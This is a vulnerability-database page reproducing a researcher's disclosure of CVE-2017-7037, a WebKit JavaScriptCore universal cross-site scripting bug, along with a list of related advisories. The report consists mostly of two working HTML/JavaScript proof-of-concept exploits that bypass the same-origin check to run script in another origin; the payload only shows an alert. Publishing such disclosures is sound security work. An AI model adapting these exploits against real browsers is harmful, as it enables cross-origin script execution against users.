| Reporter | Title | Published | Views | Family All 72 |
|---|---|---|---|---|
| webkit2-gtk3 -- multiple vulnerabilities | 24 Jul 201700:00 | – | freebsd | |
| WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS Vulnerability | 25 Jul 201700:00 | – | zdt | |
| Safari < 10.1.2 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus | |
| Apple iOS < 10.3.3 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus | |
| iTunes < 12.6.2 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus | |
| Apple TV < 10.2.2 Multiple Vulnerabilities | 28 Jul 201700:00 | – | nessus | |
| Apple iOS < 10.3.3 Multiple Vulnerabilities | 25 Jul 201700:00 | – | nessus | |
| Fedora 26 : webkitgtk4 (2017-24bddb96b5) | 28 Jul 201700:00 | – | nessus | |
| Fedora 25 : webkitgtk4 (2017-73d6a0dfbb) | 31 Jul 201700:00 | – | nessus | |
| Fedora 24 : webkitgtk4 (2017-9d572cc64a) | 11 Aug 201700:00 | – | nessus |
`WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive
CVE-2017-7037
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
The PoC shows to call a setter of another origin's object.
PoC 1 - JSValue::putToPrimitive:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
PoC 2 - JSObject::putInlineSlow:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = {
__proto__: f.contentWindow
};
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation